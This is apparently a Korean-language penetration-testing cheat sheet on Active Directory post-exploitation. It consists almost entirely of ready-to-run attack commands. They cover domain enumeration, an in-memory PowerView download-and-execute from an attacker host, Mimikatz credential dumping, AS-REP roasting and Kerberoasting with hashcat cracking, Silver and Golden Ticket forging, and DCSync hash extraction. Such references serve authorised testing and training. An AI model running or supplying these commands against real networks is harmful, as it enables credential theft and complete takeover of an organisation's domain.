Skip to main content

Active Directory

Active Directory 환경에서의 Post Exploitation 기법입니다.

수동 열거​

사용자 정보​

# 도메인 사용자 목록
net user /domain

# 특정 사용자 정보
net user <USERNAME> /domain

# 현재 사용자
whoami /all
whoami /user
whoami /groups
whoami /priv

그룹 정보​

# 도메인 그룹 목록
net group /domain

# 특정 그룹 멤버
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

# 로컬 그룹
net localgroup
net localgroup Administrators

컴퓨터 정보​

# 도메인 컨트롤러
nltest /dclist:<DOMAIN>

# 도메인 신뢰
nltest /domain_trusts

PowerView를 이용한 열거​

설치 및 로드​

# 다운로드
iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -outfile PowerView.ps1

# 로드
powershell -ep bypass
. .\PowerView.ps1

# 또는 메모리에서 직접
IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>/PowerView.ps1')

도메인 정보​

# 도메인 정보
Get-NetDomain

# 도메인 컨트롤러
Get-NetDomainController

# 도메인 정책
Get-DomainPolicy
(Get-DomainPolicy)."SystemAccess"

# 포레스트 정보
Get-NetForest
Get-NetForestDomain

사용자 열거​

# 모든 사용자
Get-NetUser
Get-NetUser | select cn
Get-NetUser | select cn,pwdlastset,lastlogon

# 특정 사용자
Get-NetUser -Username <USERNAME>

# 사용자 속성
Get-NetUser -Username <USERNAME> | select *

# SPN 있는 사용자 (Kerberoasting)
Get-NetUser -SPN
Get-NetUser -SPN | select samaccountname,serviceprincipalname

그룹 열거​

# 모든 그룹
Get-NetGroup
Get-NetGroup | select cn

# 특정 그룹
Get-NetGroup "Domain Admins"
Get-NetGroup "Enterprise Admins"

# 그룹 멤버
Get-NetGroupMember "Domain Admins"
Get-NetGroupMember "Domain Admins" | select MemberName

컴퓨터 열거​

# 모든 컴퓨터
Get-NetComputer
Get-NetComputer | select operatingsystem,dnshostname
Get-NetComputer | select dnshostname,operatingsystem,operatingsystemversion

# 살아있는 컴퓨터
Get-NetComputer -Ping

# 로컬 관리자 액세스 확인
Find-LocalAdminAccess

# 도메인 관리자 세션 찾기
Find-DomainUserLocation

세션 열거​

# 특정 컴퓨터의 세션
Get-NetSession -ComputerName <RHOST>
Get-NetSession -ComputerName <RHOST> -Verbose

# 레지스트리 ACL 확인
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl

공유 열거​

# 도메인 공유
Find-DomainShare

# 특정 경로
ls \\<RHOST>\sysvol\<DOMAIN>\
ls \\<RHOST>\sysvol\<DOMAIN>\Policies\

# GPP 파일 읽기
cat \\<RHOST>\sysvol\<DOMAIN>\Policies\oldpolicy\old-policy-backup.xml

SPN 열거​

setspn​

setspn -L iis_service
setspn -T <DOMAIN> -Q */*

PowerView​

Get-NetUser -SPN | select samaccountname,serviceprincipalname

nslookup​

nslookup.exe <RHOST>

객체 권한 열거​

주요 권한​

권한설명
GenericAll객체에 대한 모든 권한
GenericWrite특정 속성 편집
WriteOwner객체 소유권 변경
WriteDACLACE 편집
AllExtendedRights비밀번호 변경 등
ForceChangePassword비밀번호 강제 변경
Self (Self-Membership)그룹에 자신 추가

PowerView​

# 객체 ACL
Get-ObjectAcl -Identity <USERNAME>

# 특정 권한
Get-ObjectAcl -Identity "<GROUP>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

# SID 변환
Convert-SidToName S-1-5-21-1987370373-658406905-1781884369-1104

# 그룹 멤버 확인
Get-NetGroup "<GROUP>" | select member

# 그룹 멤버 추가/삭제
net group "<GROUP>" <USERNAME> /add /domain
net group "<GROUP>" <USERNAME> /del /domain

자격증명 수집​

Mimikatz​

.\mimikatz.exe
mimikatz # sekurlsa::logonpasswords
mimikatz # sekurlsa::tickets

특정 위치 접근​

dir \\<RHOST>\<SHARE>
dir \\<DC>\c$

AS-REP Roasting​

impacket-GetNPUsers​

# 사용자 목록으로
impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>

# 인증 없이
impacket-GetNPUsers -dc-ip <DC_IP> -usersfile users.txt -format hashcat <DOMAIN>/

# 크랙
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Rubeus​

.\Rubeus.exe asreproast /nowrap

# 출력 파일
.\Rubeus.exe asreproast /outfile:hashes.asreproast

Kerberoasting​

impacket-GetUserSPNs​

# SPN 목록
impacket-GetUserSPNs -dc-ip <DC_IP> <DOMAIN>/<USERNAME>

# 해시 요청
impacket-GetUserSPNs -dc-ip <DC_IP> -request <DOMAIN>/<USERNAME>

# 크랙
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Rubeus​

.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# 크랙
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Silver Ticket​

필요 정보​

  • SPN 비밀번호 해시
  • 도메인 SID
  • 타겟 SPN

생성​

# SID 확인
whoami /user

# Silver Ticket 생성
.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::golden /sid:S-1-5-21-xxx /domain:<DOMAIN> /ptt /target:<RHOST> /service:http /rc4:<HASH> /user:<USERNAME>

# 확인
klist

# 접근
iwr -UseDefaultCredentials http://<RHOST>

Golden Ticket​

필요 정보​

  • krbtgt NTLM 해시
  • 도메인 SID

DCSync로 krbtgt 해시 획득​

.\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\krbtgt
impacket-secretsdump -just-dc-user krbtgt <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>

Golden Ticket 생성​

.\mimikatz.exe
mimikatz # privilege::debug
mimikatz # kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx /krbtgt:<HASH> /ptt

# 또는
mimikatz # kerberos::golden /user:Administrator /domain:<DOMAIN> /sid:S-1-5-21-xxx /krbtgt:<HASH> /id:500

# 확인
misc::cmd
klist
dir \\<DC>\c$

DCSync​

필요 권한​

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes in Filtered Set

mimikatz​

.\mimikatz.exe
mimikatz # lsadump::dcsync /user:<DOMAIN>\<USERNAME>
mimikatz # lsadump::dcsync /user:<DOMAIN>\Administrator
mimikatz # lsadump::dcsync /user:<DOMAIN>\krbtgt

impacket-secretsdump​

# 특정 사용자
impacket-secretsdump -just-dc-user <USERNAME> <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>

# 전체 덤프
impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>

참고​

  • PowerView는 강력한 AD 열거 도구
  • Kerberoasting은 SPN 있는 계정 대상
  • AS-REP Roasting은 Pre-Auth 비활성화된 계정 대상
  • Golden Ticket은 krbtgt 해시 필요
  • Silver Ticket은 서비스 계정 해시 필요
  • DCSync는 복제 권한 필요
  • 모든 공격은 적절한 권한 필요